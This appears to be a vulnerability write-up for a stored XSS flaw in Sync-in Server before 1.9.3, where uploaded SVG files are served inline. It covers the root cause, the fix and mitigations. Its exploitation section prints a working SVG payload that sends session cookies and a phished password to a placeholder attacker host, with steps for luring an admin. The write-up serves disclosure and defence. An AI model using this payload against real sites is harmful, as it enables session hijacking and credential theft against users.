Feb 20, 2026·7 min read·19 visits
Sync-in Server < 1.9.3 serves user-uploaded SVG files inline instead of forcing a download. Attackers can upload an SVG containing malicious JavaScript (Stored XSS). When a victim views the file URL, the script executes, stealing session cookies.
A classic Stored Cross-Site Scripting (XSS) vulnerability was discovered in Sync-in Server versions prior to 1.9.3, specifically targeting the way user-uploaded files are served. By failing to enforce a 'Content-Disposition: attachment' header, the application allowed malicious Scalable Vector Graphics (SVG) files to be rendered inline by the victim's browser. This oversight turns a simple profile avatar or shared document into a execution context for arbitrary JavaScript, enabling attackers to hijack sessions, steal cookies, and perform actions on behalf of authenticated users.
We often tell users, "Don't download strange binaries," or "Don't enable macros in Word documents." But we rarely tell them, "Don't look at that profile picture." In the context of modern web applications, the line between 'data' and 'code' is terrifyingly thin, and CVE-2025-67438 walks right over it.
Sync-in Server is designed to handle user collaboration, which inevitably involves file uploads—documents, images, and avatars. The functionality seems mundane: a user uploads a file, and the server spits it back out when requested. However, the browser's interpretation of that file depends entirely on the headers the server sends along with it. If the server is too permissive, it hands the browser a loaded gun.
This vulnerability exploits the unique nature of Scalable Vector Graphics (SVG). Unlike a JPEG or PNG, which are binary blobs of pixel data, an SVG is an XML document. It describes shapes, paths, and colors using text. But because it is XML, it adheres to the W3C standards which include support for... you guessed it, ECMAScript. To a browser, an SVG isn't just an image; it's a document capable of traversing the DOM and executing code. When Sync-in Server decided to serve these files without forcing them to be downloaded, it essentially allowed users to upload miniature, self-contained webpages hosted on the trusted application domain.
The root cause of this vulnerability lies in the Content-Disposition HTTP header. This header tells the browser what to do with the payload it just received. A value of attachment forces a download dialog, saving the file to disk where it is (mostly) harmless. A value of inline (or the absence of the header) tells the browser to try and render it right there in the window.
In Sync-in Server < 1.9.3, the file serving logic was agnostic to the danger of the file type. When a user requested an avatar or a file, the server would return it with the Content-Type set to image/svg+xml (correct) but without forcing attachment (incorrect).
Here is the logic flow that led to the vulnerability:
/files/avatar/malicious.svg200 OK, Content-Type: image/svg+xml.<script> tag. It executes the script in the context of https://sync-in-server.com.Because the script runs in the application's origin, the Same-Origin Policy (SOP) works against the victim. The script has full access to localStorage, document.cookie (unless HttpOnly is set, though often session tokens are accessible or requests can be forged regardless), and the ability to issue fetch() requests to the API as the victim.
Let's look at the smoking gun. The vulnerability lived in the UsersController.ts and the SendFile utility. The developers likely assumed that since they were validating the file extension or MIME type during upload, serving it back was safe. They forgot that valid does not mean safe.
The fix, applied in commit a6276d067725637310e4e83a3eee337aae81f439, was blunt but effective. They modified the file sending logic to force the attachment disposition for user content.
The Vulnerable Pattern (Conceptual):
// Before: flexible, but dangerous
public async getAvatar(req, res) {
const file = await this.userService.getAvatar(req.params.id);
// Implicitly sets disposition to inline or leaves it empty
return res.sendFile(file.path, { headers: { 'Content-Type': file.mime } });
}The Fix (Actual Implementation):
The patch introduced a utility specifically to enforce the disposition. This is the 'nuke it from orbit' approach to XSS mitigation on file uploads.
// After: enforcing attachment
// users.controller.ts
@Get(':id/avatar')
async getAvatar(@Param('id') id: string, @Res() res: Response) {
const avatar = await this.usersService.getAvatar(id);
// The critical change: helper function forces Content-Disposition: attachment
ServerUtils.serveFile(res, avatar, true); // true = force download
}By forcing the browser to treat the content as a download, the browser never renders the XML, and thus never executes the embedded JavaScript. The attack surface is effectively neutralized because the code never reaches the JavaScript engine.
Exploiting this is trivially easy for anyone who knows basic HTML. We don't need buffer overflows or heap spraying; we just need a text editor. The goal is to create a valid SVG file that contains a payload.
Step 1: The Payload
Create a file named pwn.svg. We'll draw a small red circle so it looks like a legitimate image if previewed in a dumb viewer, but hide a nasty script inside.
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<!-- The bait: A harmless red circle -->
<circle cx="50" cy="50" r="40" fill="red" />
<!-- The hook: Malicious JS -->
<script>
// Exfiltrate cookies to attacker's server
fetch('https://evil-listener.com/steal?c=' + btoa(document.cookie));
// Create a fake login prompt to steal credentials
var p = document.createElement('div');
p.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);color:white;display:flex;justify-content:center;align-items:center;z-index:9999">Session timed out. Please login again:<input type="password" onchange="fetch(\'https://evil-listener.com/creds?p=\'+this.value)"></div>';
document.body.appendChild(p);
</script>
</svg>Step 2: Delivery
pwn.svg as your avatar.Step 3: Execution
When the admin clicks the link, the browser navigates to https://target.com/api/users/123/avatar. The server returns the SVG. The browser renders the red circle and immediately executes the <script>. The admin's session ID is sent to evil-listener.com.
The impact of Stored XSS in a collaboration tool cannot be overstated. It is persistent and wormable. If the application is a social platform or a team server, an attacker doesn't even need to send a link. They just need to post a comment or appear in a user list where the avatar is rendered.
However, in this specific case, if the image is rendered via an <img> tag in the main application UI, the script won't execute. Browsers disable scripting for SVGs loaded inside <img> tags for security reasons.
The Catch: The vulnerability requires direct access to the file URL (navigating to the image itself). This lowers the severity slightly from "automatic infection on page load" to "requires a click." However, in many workflow tools, users frequently click "View Original" or "Open in New Tab" to see details.
Once executed, the consequences are:
document.cookie allows the attacker to impersonate the victim.If you are running Sync-in Server, you have one immediate task: Update to version 1.9.3.
If you are a developer building a similar system, take note. Validating file extensions is not enough. Validating magic bytes is not enough. You must control how the data is consumed.
Content-Disposition: attachment. This forces a download and prevents inline rendering.Content-Security-Policy: default-src 'self'; script-src 'self' would prevent the inline script in the SVG from executing even if it was rendered.<script> tags and event handlers (onclick, onload) before storing the file.usercontent-sync-in.com). Even if XSS executes there, it has no access to the cookies or local storage of the main application domain.CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Sync-in Server Sync-in | < 1.9.3 | 1.9.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS (Est.) | 6.1 (Medium) |
| Privileges Required | Low (Authenticated User) |
| User Interaction | Required (Click Link) |
| Impact | Confidentiality & Integrity |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')